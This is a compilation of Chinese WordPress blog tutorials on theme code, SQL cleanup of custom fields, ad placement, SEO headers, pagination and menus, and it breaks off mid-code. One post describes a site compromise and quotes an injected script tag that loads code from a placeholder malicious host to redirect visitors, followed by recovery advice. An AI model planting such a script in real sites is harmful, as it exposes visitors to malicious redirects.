query_post是Wordpress经常用到的判断函数, 在一开始发现问题时候排除所有可能的语法错误后检查主题的所有代码发现只有在query_post出现以后接下来的判断函数就失效了.

<?php query_posts("showposts=8&caller_get_posts=1&orderby=date&order=DESC"); ?>
***一些调用函数***省略***
<?php endwhile; endif; ?>

之后的一些判断函数就全部失效了, 例如本应该是文章内显示的却在主页上也显示了一样的内容, 或者随机显示了一个内容

<?php if (is_home () ) { } elseif ( is_category() ) { } elseif (is_single() || is_page() ) { }elseif (is_search() ) { } else { } ?>

WordPress官方文档中指出执行query_post之后会影响在其之下的判断函数, 需要在判断函数前加上wp_reset_query重置查询函数, 例如

<?php
wp_reset_query();
if (is_page('2') ) {
echo 'this is page 2!';
}
?>

点击查看Wordpress官方手册

我们可以在判断句之前加上wp_reset_query, 也可以只在query_post之后加上重置, 这样这个query_post就不会影响到下面的任何判断函数了.

<?php query_posts("showposts=8&caller_get_posts=1&orderby=date&order=DESC"); ?>
***一些调用函数***省略***
<?php endwhile; endif; ?>
<?php wp_reset_query(); ?>

但是当换上另一款主题时, 在每一篇文章中的自定义域添加的内容就成了多余的数据库垃圾了. 如果文章数量手动每条删除的方法不现实.

我们可以在执行一个SQL语句来批量删除特定的数据表, 自定义域添加的数据表也是有共同的名称, 所以可以同时用命令删除.

主要的输入的命令为

delete from wp_postmeta where meta_key = "自定义域的名称";

如果自定义域添加的名称为"keywords", 命令为:

delete from wp_postmeta where meta_key = "keywords";

其他的类似, EI测试命令删除得很彻底, 不会危及其他数据表的资料, 但是EI建议不熟悉数据库的话还是备份一下数据库再继续操作.

在自定义域的下拉列表中没有了想要删除的那个选项就证明删除成功了.

WordPress 3.0有一个短链接功能, 可以在使用Wordpress的伪静态后获取原始的链接地址.

这是个不错的功能, 可以方便的利用短URL共享自己的博客.

WordPress 3.0同时会在所有文章的源代码的head部分添加上

<link rel='shortlink' href='http://www.ei2u.com/?p=505' />

虽然Wordpress同时添加了'canonical'链接定义, 但是EI觉得推广这种地址并不利于SEO, 多数人使用伪静态都为了SEO精心设置了好记的永久链接.

所以如果我们不需要使用shortlinks也就是短链接功能, 我们可以让Wordpress不在head上添加'shortlink'的定义.

打开主题的functions.php文件, 添加

remove_action( 'wp_head', 'wp_shortlink_wp_head', 10, 0 );

上传到服务器上覆盖原来的文件就可以了.

同样的方法去除其他head上多余的内容可以浏览

移除WordPress Head中的rsd_link()和wlwmanifest_link()

提升WordPress安全, 彻底让WordPress不再暴露当前使用的版本信息

使用语法高亮插件最普遍的做法, WordPress下的语法高亮插件非常丰富, 例如Syntax Highlighter 也就是Google Syntax Highlighter for WordPress, 服务器端的代码高亮插件Highlight Source Pro, 支持多中代码语言的iG Syntax Hiliter, 简单的老牌高亮插件WordPress Code Highlight, WordPress Code Highlight 插件修改而成的Coolcode等等.

但是许多人和EI一样在文章插入代码的机会非常少, 为了一两篇文章使用一个插件感觉有点小题大作. 直接在可视化编辑模式下输入代码可以显示出代码, 这些代码在可视化编辑模式下会被转换为HTML Entities(实体), 例如"&"在HTML Entities下则转换成了"&", 虽然表面上看似乎没有转换, 切换到HTML编辑模式或者查看页面的源代码就可以看到转变后的不同.

但是Wordpress会自动转换半角符号为全角符号, 因为中文中使用的都是全角符号, 全角符号会导致一个不小的问题, 就是在文章中复制下来的代码不能直接使用, 所有的代码都是使用半角符号, 例如全角的双引号替换掉半角的引号在代码中会出错. 而且修改起来非常麻烦.

我们需要关闭Wordpress自带的这个转换器来让Wordpress正常的显示我们所输入的所有代码, 也就是关闭Wordpress自带的文章符号过滤器.

方法非常简单, 打开主题的functions.php文件, 添加下面的代码:

<?php remove_filter('the_content', 'wptexturize'); ?>

上面的代码可以让文章内容的过滤器失效, 达到显示代码的作用.

如果还想要在其他地方显示正常的代码, 例如标题, 摘要, 评论, 文章标题, 博客信息, 描述, 小工具的文本等等, 可以按照自己的要求去除相应的过滤器, 可用下面的代码来达到我们的目的:

$qmr_work_tags = array(
'the_title',
'the_content',
'the_excerpt',
'comment_text',
'list_cats',
'single_post_title',
'comment_author',
'term_name',
'link_name',
'link_description',
'link_notes',
'bloginfo',
'wp_title',
'widget_title',
'term_description',
'category_description',
'widget_text'
);

foreach ( $qmr_work_tags as $qmr_work_tag ) {
remove_filter ($qmr_work_tag, 'wptexturize');
}

需要注意的一点是, 这种实现方式需要在可视化编辑模式下输入文章的代码, 在HTML模式下会导致大部分代码丢失.

如果想实现类似EI站上的代码效果, 用点CSS吧!

不可避免的, 有时候Wordpress需要搬迁到另外一个服务器, 也许为的是更快的速度, 更加稳定的空间还是更加低廉的价格. 许多人对于Wordpress搬迁还是一知半解, 在域名保持不变的情况下, WordPress搬迁的过程是非常简单的, 只需要复制原空间的所有文件和转移数据库即可.

文件的转移很简单, 数据库的转移看似复杂, 其实也是很容易.

一般服务器上都是使用mysql数据库. 我们可以使用服务器主机上的phpmyadmin工具(Export)导出数据库即可, 使用phpmyadmin导出mysql数据库基本保持默认的选项即可, 导出的范围是全部, 格式是sql.

然后选择"Save as" (另存为), 执行即可导出数据库.

将导出的数据库导入新服务器的数据库即可, 导入时需要注意的是数据库导入的大小限制, 每个主机对大小的限制都不一样. 编码格式保持与导出时选择的同样即可, 如果导出的是utf-8编码, 导入同样选择utf-8.

这样转移的数据库基本没什么问题, 知道如何使用mysqldump的也可以用mysqldump导出整个数据库. 使用数据库插件也可以备份数据库, 然后在新服务器上还原.

如何顺利的过渡到新服务器呢, 也是很简单的事情, 编辑"wp-config.php"文件, 修改数据库的用户名和密码, hostname这三个项目. 在主机文件和数据库全部转移到新服务器的时, 用修改过的"wp-config.php"文件覆盖新服务器上的文件, 同时让域名指向新服务器即可.

当域名成功指向新服务器的时候, 因为文件和数据库都已经存在, 而且也设置好了. WordPress也就平滑的转移到新服务器上了, 中途不会出现域名不可访问的情况.

WordPress有不少强大的留言插件, 但是始终有一些漏网之鱼. 这些留言会在留言文字上留下大量的URL链接, 几个或者几十个以上, 如果没有经常清理这些恶意留言的链接, 对SEO也有一定的影响, 因为大多数的恶意留言留下的网站链接都不怎么友好, 或许是恶意网站还有被搜索引擎降级的等等.

安装留言验证插件可以减少绝大多数的机器垃圾留言, 但是也挡不住人肉炸弹式的留言. 但也不是对这些留言完全没有办法.

我们可以让Wordpress对留言文字里面的连接忽略, 让里面的URL变成普通的文字, 这样就失去了这个链接的意义, 达到这样的效果有两种方法, 第一种是修改wp-includes下的一个文件来完成, 这个方法其实很不适用, 因为会随着Wordpress的升级而失效, 其实最简单的方法就是在主题的functions.php文件中添加下面的代码

remove_filter('comment_text', 'make_clickable', 9);

现在看留言上的网站链接, 已经和文字一样了.

许多关于广告优化的教程都提到过经常更换广告出现的位置可以提高一定的广告点击率, 原理就是许多人已经熟悉了旧广告的位置, 那个位置的广告也就会被大家遗忘, 经常更换位置就能刷新访客的潜意识, 就算怎么熟悉你网站的访客也有可能错手点了广告因为那个位置不是经常出现广告的地方.

WordPress可以在文章中添加广告, 类似Google Ads, 百度推广等等, 我们可以自行添加广告到需要的位置, 如何在Wordpress投放广告, 请先浏览:

无需广告插件, 简单将广告投放到Wordpress文章之中

简单插入广告在文章之内提高广告点击率, WordPress More标签另类用法

EI之前介绍过, 无论哪种投放方式, 都会在"single.php"文件的

<div class="ad">广告代码放这里</div>

之间添加广告的代码, 然后通过"style.css"文件用CSS来定义"ad"的样式, 例如

.ad {float:left; padding: 4px 4px 4px 4px;}

就是让上面添加的广告靠左边, 文章内容靠右边环绕广告.

我们可以做的不只是这些, 我们可以让Wordpress随机出现不同位置的广告, 首先添加多个CSS样式表, 例如

.ad {float:left; padding: 4px 4px 4px 4px;}
.ad1 {float:right; padding: 4px 4px 4px 4px;}
.ad2 {float:none; clear:both; margin-left:auto; margin-right:auto; text-align: center; padding: 4px 4px 4px 4px;}

上面的CSS定义了ad就是靠左边显示, ad1定义为靠右边显示, ad2则是独立显示在中间, 然后我们将上面的

<div class="ad">广告代码放这里</div>

改为

<?php
    $ad = array(
  "<div class='ad'>Google广告的代码</div>",
  "<div class='ad1'>百度推广的代码</div>",
  "<div class='ad2'>其他类型的广告代码</div>",
    );
    $rand = array_rand($ad);
    echo $ad[$rand];
?>

完成了这一步就可以上传"single.php"和"style.css"文件后刷新自己的Wordpress测试一下了, WordPress会随机调用样式表中的其中一个CSS定义来显示广告的位置, 效果就像Ei2U的效果一样.

同样的, 我们可以让其随机显示不同类型的广告, 例如随机显示Google的广告和百度推广, 相应的代码为:

<?php
    $ad = array(
  "<div class='ad'>",
  "<div class='ad1'>",
  "<div class='ad2'>",
    );
    $rand = array_rand($ad);
    echo $ad[$rand];
?>广告代码放这里</div>

CSS的定义则可以根据广告的类型自己完善, 其实EI这种方法的原理很简单, 利用PHP的随机代码, 效果却非常不错, 解决了只有一个广告位而有不同类型广告需要推广的问题, 同时不限定于Wordpress, 其他PHP网站或者博客同样可以使用.

因为发现不同的bug, WordPress发布了许多针对安全的版本更新, 旧版Wordpress遭到黑客攻击的可能性非常大, 所以许多使用Wordpress的博主都会选择更新到官方发布的最新版本.

但是最新版本一定安全吗? 答案是No!

EI使用的Wordpress网站不久前就被黑客光顾过一次.

EI的Wordpress已经是最新版, 在主机的php5.ini和.htaccess文件上也做了简单的防护, 单纯从网站的header上无法知道主机的php版本信息和导航主机上的文件, WordPress主要的设置文件都在.htaccess文件上做了安全工作, WordPress新版中可能泄露的版本信息也已经全部屏蔽, 登录用的是大小写字母, 数字和符号的混合性登录密码. 主机上传文件也只是用普通的FTP, WordPress的部分文件路径也是自定义过的.

虽然基本的安全措施都做到了, 可以让黑客多花点时间和功夫, 但是主机上的所有PHP文件还是让黑客加上了连接到恶意网站的代码, 数据库完好无缺. 黑客的手法很卑劣, 所有PHP文件头部都加上了反编译加密过的PHP代码, 代码主要在网站的尾部加上

<script src="http://恶意网址.com/oo.php"></script>

在网站完全加载之后将会跳转到一个恶意网站上, 只要Wordpress启用的主题或者插件的任何PHP文件上包含这些代码都会在页面尾部添加这一小段, 只看源文件很隐蔽, 网址也不是特别显眼.

要找出Wordpress是否已经被黑过, 用FTP登录时可以看到所有文件的最后修改日期和时间, 一般Wordpress除了升级之后核心等文件都不会有变化, 也就是日期和时间都会显示在升级的那个时间上. 如果你的Wordpress更新时间和你看到的日期和时间都不一样, 那就要看一下文件是否已经被修改了.

Linux主机首先要查看主机根目录下的.htaccess文件是否有被修改.

一般黑客都会将代码加密后加入到文件之中, 所以我们可以看看是否有加密过的PHP代码来判断.

如果很不幸, PHP文件的修改日期都显示为某一可疑的日期和时间, 检查一些文件发现所有主机上的PHP文件和EI的情况一样, PHP文件的头部都已经被黑客批量修改了, 表示Wordpress已经遭到黑客的入侵了.

发现已经被黑, 第一件事情就是修改密码了, 既然可以在PHP文件上动手脚, Mysql的密码也是唾手可得, 将主机登录的密码, Mysql密码, WordPress密码均需要修改, 检查Wordpress的帐号是否有隐藏帐号, 自己登录帐号的资料是否包含其他脚本.

密码搞定之后就是修复工作就开始了, 登录Wordpress (如果黑客没有破坏Wordpress, 只是在Wordpress挂马的话), 点击升级, 因为是最新版本, 所以我们可以选择重新安装最新版本Wordpress. 升级之后, 剩下的被修改过的文件不多了, wp-config.php等文件不受升级影响, 所以我们要手动删除插入的代码, 加密过的PHP代码很容易区分, WordPress的原PHP文件是没有经过任何加密.

用重新安装的方法恢复Wordpress程序文件之后, 插件和主题也是需要我们手动清理的, 我们可以将插件删除了在安装即可, 主题就重新上传吧, 相信用Wordpress的都有自己修改主题, 所以都应该有主题的备份.

最后就是重新导入之前备份过的数据库了, 当然, 如果确认过数据库并没有遭到入侵, 可以忽略.

全部搞定之后就刷新自己的网站, 看看源代码中是否还包含恶意代码, 如果已经干净了, 恢复工作也就完成了.

因为不确定是否为Wordpress最新版未发现的bug所导致被入侵, 查看主机的日志, 看文件遭到批量修改的时间主机上有哪些IP在请求什么文件, 必要时可以用htaccess封掉一些非法请求的IP.

EI建议同时可以安装插件来协助防御, 避免下次重蹈覆辙, 可浏览

WPIDS – PHPIDS 为Wordpress提供入侵防御

此外, 还需要经常备份数据库和主机上的文件以备不时之需.

如果需要在文章内部无缝嵌入广告, 可以浏览:

WordPress More标签另类用法, 简单插入广告在文章之内

通过代码, 我们可以让文章内容环绕广告, 广告可以选择在文章中向左或者向右停靠, 这是大多数网站上所使用的广告投放效果.

实现方法很简单, 打开主题的single.php文件, 找到

<?php the_content(); ?>

在这句代码的前面加上

<div class="ggad">
<script type="text/javascript">
<!--
google_ad_client = "pub-XXXXXXXXXXXXX";
/* single */
google_ad_slot = "XXXXXXXXX";
google_ad_width = 300;
google_ad_height = 250;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
</div>

上面的演示代码为Google Ads中的一段广告脚本, 其他广告脚本都可以使用,

代码主要部分为:

<div class="ggad">
广告代码放这里!!!!!!!
</div>

其中"ggad"为CSS文件中的样式表, 我们可以通过CSS为投放在文章中的广告设置一些样式.

主要方法: 在主题的style.css文件中建立ggad的样式表,

.ggad { }

"{}"之内可以添加符合自己主题的样式, 当中可以使用到的

float:none; clear:both; (广告于在文章之上, 左右都不会出现任何内容)
float:left; (广告靠左边, 文章内容环绕)
float:right; (广告靠右边, 文章内容环绕)

除此之外还可以为广告加上背景或者其他效果.

但是许多的人并不是用"more"来截取内容而是使用自动截取或者插件的方式来完成, 这样一来"more"标签的空出我们就可以用它来做其他用途, 例如广告插入.

EI所要的效果就是让广告出现在"more"标签之后, 也就是我们只需在文章的任意地方放置"more"标签, 让"more"标签作为预先设置好的广告的插入点.

比起固定于顶部或者底部的广告, 这样的广告方式更加灵活. More标签可以自行添加在文章中, More之后的文章内容依旧在广告之后显示, 非常实用, 在广告点击的可能性计较高的地方放置广告还可有效的提高广告的点击率.

开始之前需要确认的一点就是自己没有使用"more"标签做任何截断功能.

需要的第一个文件时主题的single.php, 打开后找到

<?php the_content(''); ?>

替换为

<?php $more = 0; the_content(''); ?>
<div class="ggad">
<script type="text/javascript"><!--
google_ad_client = "pub-XXXXXXXXXXX";
/* 234x60 */
google_ad_slot = "XXXXXXXX";
google_ad_width = 234;
google_ad_height = 60;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
</div>
<?php after_more_content($post->post_content); ?>

中间的广告代码就是我们所熟悉的Google广告了, 当然, 我们可以自行替换当中的广告脚本为任何类型的广告代码(百度推广, 阿里妈妈, 淘宝).

EI在代码中预留的"ggad"可以使用CSS样式来优化广告, 添加相应的CSS样式表即可.

上面所做的是调用, 下面打开function.php, 添加

function after_more_content($body) {
  $moretag = '<!--more';
  $content = FALSE;
  $morePos = stripos($body, $moretag);

 if ($morePos !== FALSE || $morePos > -1) {
  $content = substr($body, $morePos + strlen($moretag));
  $morePos = stripos($content, '-->'); // reuse variable

  if ($morePos !== FALSE || $morePos > -1)
  $content = substr($content, $morePos + 3); // strip off rest of more tag
  } else {
  // $content = $body;
  }

 $content = apply_filters('the_content', $content);
  $content = str_replace(']]>', ']]&gt;', $content);

 echo $content;
  }

这样就完成了. 现在可以在文章的任意部分添加"more"标签, 广告就会出现在预定的位置上了.

这两段代码有什么用处? 其实rsd_link()和wlwmanifest_link()是Wordpress为博客客户端软件添加的, 方便使用客户端软件写博客的人所添加的接口.

如果你的Wordpress也是用类似 Live Writer这类软件在写的, 就需要这两个接口, 直接登录管理页面编辑文章的, 其实就可以不要. 但是Wordpress默认添加而且没有任何设置可以去除, 所以我们要自己在主题中剔除这两条无用的代码.

查看自己Wordpress网站的源代码, 看看

<head>...</head>

区域就可以找到这两行了:

<head>
...
<link rel="EditURI" type="application/rsd xml" title="RSD"
href="http://www.ei2u.com/xmlrpc.php?rsd" />
<link rel="wlwmanifest" type="application/wlwmanifest xml"
href="http://www.ei2u.com/wp-includes/wlwmanifest.xml" />
...
</head>

Ei2U推荐编辑主题的"functions.php"来完成这项工作, 具体步骤很简单, 打开"functions.php", 添加这两行代码即可:

remove_action('wp_head','rsd_link');
remove_action('wp_head','wlwmanifest_link');

完成后上传, 刷新自己的Wordpress博客, 看看源代码, 是不是干净和很多呢.

Ei2U还推荐把Wordpress默认显示版本号也用相同的方法清除掉, 可以增加Wordpress安全和减少不必要的垃圾留言.

清除Wordpress默认版本提示, 请浏览这里:

提升Wordpress安全, 让Wordpress不再暴露当前博客的版本信息

但是, 这些Meta只有在页面上才显示, 也就是说, 这些META只能添加在页面的HEAD之中, 因为只有页面才有head段, 但是, 如果我们的网站链接的内容只是TXT, 或者图片, 或者其他的Flash等等. 这些内容Robot爬行时将不会爬行到任何的HEAD信息, 因为这些内容不在网页之内, 所以我们没有办法通过普通的添加Meta的方法来控制蜘蛛如何爬行这些内容.

在没有任何限制的情况下搜索引擎会按照默认的方式处理蜘蛛爬行回来的信息, 也许一个简单的TXT文本会出现咋搜索引擎的搜索页面上, 尽管内容与你的网站没有任何关联, 这对与网站的SEO非常不利.

其实我们可以同过另外一种方式来完成搜索引擎优化的任务, 就是在Http headers响应的信息上添加X-Robots-Tag来显示"noarchive", "noindex", "nofollow", 和 "nosnippet" 等标签. "Http headers response"是没有办法直接在浏览器上看到的内容, 里面的信息包括响应码, 平时看到的404就是其中一个, 缓存时间, 最后修改时间等等平时我们看不到的内容.

查看Headers响应码和信息我们可以通过插件或者是类似Chrome等浏览器的开发者工具查看即可, 例如我们用Chrome来查看Ei2U的网站Headers信息就会出现如图所示:

我们可以通过编辑".htaccess"文件来达到我们的目的, ".htaccess"文件是访问空间任何内容前排第一位的文件, 我们可以通过它为我们需要的内容加上一条特别的SEO标签, "X-Robots-Tag".

如果我们要为html结尾的页面添加"noarchive", 我们可以在".htaccess"中加入下面的代码:

<Files ~ "\.html$">
Header append X-Robots-Tag "noarchive"
</Files>

为gif, jpg或者jpeg, png的图片添加"noindex", 可以加入下面代码:

<Files ~ "\.(gif|jp[eg]|png)$">
Header append X-Robots-Tag "noindex"
</Files>

如果网站的Feeds出现在了搜索结果上, 我们同样可以添加"X-Robots-Tag"来让其消失:

<Directory /feed/>
Header append X-Robots-Tag "noindex,follow"
</Directory>

同样的, "nofollow"等标签我们可以根据自己的需要为自己想要的任何后缀的内容添加这个标签, 需要注意的是, 百度对页面上使用"noindex"部分网站页面有不爬行更新内容的想象, 这个标签可考虑只加在图片或者其他流媒体上.

BBClone内置多国语言, 包含简体中文和繁体中文等亚太地区语言, 对于搜索引擎来源的中文关键词完全支持.

BBClone可通过设置来调整BBClone对搜索引擎bot访问次数显示控制, 访客来源网站和访客IP追踪, Whois反查, 逗留期间访问的所有页面和时间, 是否经过代理服务器访问等, 已经支持显示的操作系统包括最新的Windows 7在内(许多分析跟踪统计都无法正确识别Windows 7).

点击打开演示统计页面

BBClone不需要数据库支持, 只需要上传到服务器后在网站上添加代码即可, BBClone会自动识别网站的根域名为默认统计网址. BBClone还可以通过上传最新的IP数据库和操作系统以及代理数据库来适应最新的IP地址变换和系统的更新换代.

BBClone官方的安装函数比较复杂, 也没说明如何在Wordpress安装和运行. WordPress其实完全可以使用BBClone作为统计, 用BBClone能够实时显示访客信息和关键词链接, 对SEO和统计有非常好的帮助, 显示直观简单, 数据也很明了. 相对Google统计或者其他的统计插件, BBClone更加对信息的统计更加迅速和容易明白.

WordPress安装BBClone其实非常简单, 下载BBClone后上传到服务器的自选目录之内, 当然要知道你的网站在服务器的路径是什么, 这个路径并非网站的域名, 如果是虚拟主机的话在控制台上应该可以找到.

WordPress使用BBClone只需要修改主题文件即可, 主题繁多, 主题目录内的文件都不一样, Ei2U建议打开主题所有PHP文件, 搜索其中:

<?php get_header(); ?>

将其改为

<?php
  define('_BBC_PAGE_NAME', $_SERVER['REQUEST_URI']);
  define('_BBCLONE_DIR', '这里加入BBClone的完整路径');
  define('COUNTER', _BBCLONE_DIR . 'mark_page.php');
  if (is_readable(COUNTER)) include_once(COUNTER);

get_header();
  ?>

在上面的代码中"加入BBClone的完整路径"那里填入上传在服务器上的BBClone的路径即可, 注意是完整路径.
完成后更新主题文件就完成了.

查看统计的结果在浏览器上打开BBClone的目录, 例如"你的域名/BBClone", 可以随时查看实时统计的结果, 可以在修改Config文件对显示结果作一些微调和不显示某些IP的统计结果.

BBClone官方网站

但是, 插件附带的效果越多, 加载的东西一般也是越来越多. 对于只需要多页面导航的普通要求, 越来越样式化的插件效率与用途似乎不成比例了.

一般分页插件会在head上加载插件自带的CSS样式表, 有的还会加载十多K甚至几十K的JS脚本. 想要加速Wordpress的话, 代码的精简和减少对服务器的负担是最有效的方法.

其实, 实现这个功能并不困难, 我们完全可以自己完成, 看看下面的代码就可以知道我们自己完成的分页导航有多简单了, 但是代码精简不代表样式不好看. 想看具体效果可以参照Ei2U的网站, 完全媲美插件打造的分页效果.

开始的第一步就是打开主题的index.php, 找到类似于下面的默认分页代码

<div class="page_navi pro_next">
<div class="pageleft"><?php previous_post_link('<strong>上一篇: </strong> %link') ?></div>
<div class="pageright"><?php next_post_link('<strong>下一篇: </strong> %link') ?></div></div>

然后打开打开主题的style.css文件, 搜索上面分页代码中

<div class="">

在CSS内相对应的样式表.

例如上面的例子, 我们可以搜索的就是"page_navi pro_next", 然后把下面样式中的".page_navi"全部改成刚才搜索的关键词, 例子中就改为"page_navi pro_next", 接着覆盖掉原有的样式.

/* Page Navigation */
.page_navi{ float:left; width:100%; height:36px; line-height:36px; text-align:center; background:url(images/icon.png) no-repeat 0px -153px; overflow:hidden; }
.page_navi span{float:left;width:120px;height:36px;display:block;line-height:36px;color:#999;}
.page_navi span strong{color:#666;}
.page_navi a{ padding:3px 7px !important; margin:2px; text-decoration:none !important; color:#454545 !important; border:1px solid #CCC !important; }
.page_navi a:hover, .page_navi a.extend:hover{ color:#000 !important; border:1px solid #990B25 !important;}
.page_navi a.extend{ padding-left:9px !important; margin:2px; color:#454545 !important; border:1px solid #CCC !important;}
.page_navi a.current{ padding:3px 7px !important; margin:2px; color:#EEE !important; background-color:#D73555 !important; border:1px solid #990B25 !important;}

样式表中依据个人需要可以修改的有颜色类和边框, 上面的样式为红色背景, Ei2U上的为蓝色, 如果加入后有偏移的可以试着修改宽度, 背景图片需要自行替换.

最后一步就是打开主题的functions.php, 加上下面的函数

//Pagenavi

function par_pagenavi($range = 9){
  // $paged - number of the current page
  global $paged, $wp_query;
  // How much pages do we have?
  if ( !$max_page ) {
  $max_page = $wp_query->max_num_pages;
  }
  // We need the pagination only if there are more than 1 page
  if($max_page > 1){
  if(!$paged){
  $paged = 1;
  }
  echo '<span><strong>导航页码:&nbsp;&nbsp;&nbsp;</strong>'.$paged.' / '.$max_page.'</span>';
  // On the first page, don't put the First page link
  if($paged != 1){
  echo "<a href='" . get_pagenum_link(1) . "' class='extend' title='跳转到首页'> 返回首页 </a>";
  }
  // To the previous page
  previous_posts_link(' « ');
  // We need the sliding effect only if there are more pages than is the sliding range
  if($max_page > $range){
  // When closer to the beginning
  if($paged < $range){
  for($i = 1; $i <= ($range + 1); $i++){
  echo "<a href='" . get_pagenum_link($i) ."'";
  if($i==$paged) echo " class='current'";
  echo ">$i</a>";
  }
  }
  // When closer to the end
  elseif($paged >= ($max_page - ceil(($range/2)))){
  for($i = $max_page - $range; $i <= $max_page; $i++){
  echo "<a href='" . get_pagenum_link($i) ."'";
  if($i==$paged) echo " class='current'";
  echo ">$i</a>";
  }
  }
  // Somewhere in the middle
  elseif($paged >= $range && $paged < ($max_page - ceil(($range/2)))){
  for($i = ($paged - ceil($range/2)); $i <= ($paged + ceil(($range/2))); $i++){
  echo "<a href='" . get_pagenum_link($i) ."'";
  if($i==$paged) echo " class='current'";
  echo ">$i</a>";
  }
  }
  }
  // Less pages than the range, no sliding effect needed
  else{
  for($i = 1; $i <= $max_page; $i++){
  echo "<a href='" . get_pagenum_link($i) ."'";
  if($i==$paged) echo " class='current'";
  echo ">$i</a>";
  }
  }
  // Next page
  next_posts_link(' » ');
  // On the last page, don't put the Last page link
  if($paged != $max_page){
  echo "<a href='" . get_pagenum_link($max_page) . "' class='extend' title='跳转到最后一页'> 最后一页 </a>";
  }
  }
  }

这段代码可以显示9页的分页, 可以自己修改需要的数目.

现在我们可以开始调用了, 调用的函数为

<?php par_pagenavi(9); ?>

例子中的函数为

<div class="page_navi pro_next">
<?php par_pagenavi(9); ?>
</div>

最后保存后上传到服务器看看效果.

新增当前页不可点击的效果

在上面function.php的代码中, 搜索

echo "<a href='" . get_pagenum_link($i) ."'";
if($i==$paged) echo " class='current'";
echo ">$i</a>";

用

if($i==$paged) echo "<a class='current'>$i</a>";
else echo "<a href='" . get_pagenum_link($i) ."'>$i</a>";

替换查找到的四个结果即可, 其他代码不变.

CMS网站可以容纳较多的内容和分类, 所以下拉导航菜单是不可缺少的.

WordPress可以通过参数调出多级菜单, 只要配合相应的CSS, WordPress也可以设计出媲美其他CMS程序的多级导航菜单.

既然Wordpress已经支持这种导航模式, 我们就可以为WPINK CMS主题打造和Ei2U.COM一样的下拉二级分类导航.

达到这种效果只需要三步,

首先, 打开header.php

找到

<?php echo preg_replace('@\<li([^>]*)>\<a([^>]*)>(.*?)\<\/a>@i', '<li$1><a$2><span>$3</span></a>', wp_list_categories('echo=0&orderby=id&title_li=&depth=1')); ?>

替换成

<?php echo preg_replace('@\<li([^>]*)>\<a([^>]*)>(.*?)\<\/a>@i', '<li$1><a$2><span>$3</span></a>', wp_list_categories('echo=0&orderby=id&title_li=&depth=2')); ?>

完成第一步, 现在打开style.css

找到/* Main Navigation */注释, 将注释下的所有样式替换为

/* Main Navigation */

.navigation{ padding:0px 15px; width:930px; height:40px;}

.navigation li{ position:relative;float:left;z-index:2; height:26px; margin:8px 0px 6px; font-size:14px; color:#DDD;}

.navigation li a:link, .navigation li a:visited{ float:left; margin:0px 2px; padding-left:10px; height:26px; line-height:25px; color:#DDD; text-decoration:none; cursor:pointer; display:block;}

.navigation li a span{ padding:1px 8px 6px 0px; display:inline-block;}

.navigation li ul {position:absolute;top:32px;left:0px;display:none;z-index:1000;width:150px;opacity:.90;filter:alpha(opacity=90);-moz-opacity:0.9;background:#4D4D4D;}

.navigation li:hover ul {display:block;}

.navigation li ul li {list-style:none;font-size:12px;float:left;clear:both;}

.navigation li ul li a {color:#ddd;width:125px;line-height:2.5em;text-decoration:none;display:block;border-bottom:1px solid #1A2736;text-indent:0;height:auto;padding-left:10px;padding-right:10px;}

最后一步, 这一步是为了让IE6或者IE5.5这些低版本的浏览器支持hover类, 如果不打算添加对低版本IE的支持, 可以省略这一步.

Ei2U推荐header上添加了对所有版本号小于IE7的IE浏览器会自动加载这段来达到我们的效果. 效率上会比用js技术更迅速及高效!

打开记事本, 将下面的代码

<public:attach event="ondocumentready" onevent="CSSHover()" />
<script>
/**
* Whatever:hover - V3.11
* http://www.xs4all.nl/~peterned/
* 
* Copyright (c) 2009 Peter Nederlof
* Licensed under the LGPL license
* http://creativecommons.org/licenses/LGPL/2.1
*/
window.CSSHover=(function(){var m=/(^|\s)((([^a]([^ ]+)?)|(a([^#.][^ ]+)+)):(hover|active|focus))/i;var n=/(.*?)\:(hover|active|focus)/i;var o=/[^:]+:([a-z\-]+).*/i;var p=/(\.([a-z0-9_\-]+):[a-z]+)|(:[a-z]+)/gi;var q=/\.([a-z0-9_\-]*on(hover|active|focus))/i;var s=/msie (5|6|7)/i;var t=/backcompat/i;var u={index:0,list:['text-kashida','text-kashida-space','text-justify'],get:function(){return this.list[(this.index++)%this.list.length]}};var v=function(c){return c.replace(/-(.)/mg,function(a,b){return b.toUpperCase()})};var w={elements:[],callbacks:{},init:function(){if(!s.test(navigator.userAgent)&&!t.test(window.document.compatMode)){return}var a=window.document.styleSheets,l=a.length;for(var i=0;i<l;i++){this.parseStylesheet(a[i])}},parseStylesheet:function(a){if(a.imports){try{var b=a.imports;var l=b.length;for(var i=0;i<l;i++){this.parseStylesheet(a.imports[i])}}catch(securityException){}}try{var c=a.rules;var r=c.length;for(var j=0;j<r;j++){this.parseCSSRule(c[j],a)}}catch(someException){}},parseCSSRule:function(a,b){var c=a.selectorText;if(m.test(c)){var d=a.style.cssText;var e=n.exec(c)[1];var f=c.replace(o,'on$1');var g=c.replace(p,'.$2'+f);var h=q.exec(g)[1];var i=e+h;if(!this.callbacks[i]){var j=u.get();var k=v(j);b.addRule(e,j+':expression(CSSHover(this, "'+f+'", "'+h+'", "'+k+'"))');this.callbacks[i]=true}b.addRule(g,d)}},patch:function(a,b,c,d){try{var f=a.parentNode.currentStyle[d];a.style[d]=f}catch(e){a.runtimeStyle[d]=''}if(!a.csshover){a.csshover=[]}if(!a.csshover[c]){a.csshover[c]=true;var g=new CSSHoverElement(a,b,c);this.elements.push(g)}return b},unload:function(){try{var l=this.elements.length;for(var i=0;i<l;i++){this.elements[i].unload()}this.elements=[];this.callbacks={}}catch(e){}}};var x={onhover:{activator:'onmouseenter',deactivator:'onmouseleave'},onactive:{activator:'onmousedown',deactivator:'onmouseup'},onfocus:{activator:'onfocus',deactivator:'onblur'}};function CSSHoverElement(a,b,c){this.node=a;this.type=b;var d=new RegExp('(^|\\s)'+c+'(\\s|$)','g');this.activator=function(){a.className+=' '+c};this.deactivator=function(){a.className=a.className.replace(d,' ')};a.attachEvent(x[b].activator,this.activator);a.attachEvent(x[b].deactivator,this.deactivator)}CSSHoverElement.prototype={unload:function(){this.node.detachEvent(x[this.type].activator,this.activator);this.node.detachEvent(x[this.type].deactivator,this.deactivator);this.activator=null;this.deactivator=null;this.node=null;this.type=null}};window.attachEvent('onbeforeunload',function(){w.unload()});return function(a,b,c,d){if(a){return w.patch(a,b,c,d)}else{w.init()}}})();
</script>

保存为"csshover.htc", 注意后缀名为htc. 上传到WPINK主题目录的js目录上, 然后在header.php上添加

<!--[if lt IE 7]>
<style type="text/css">
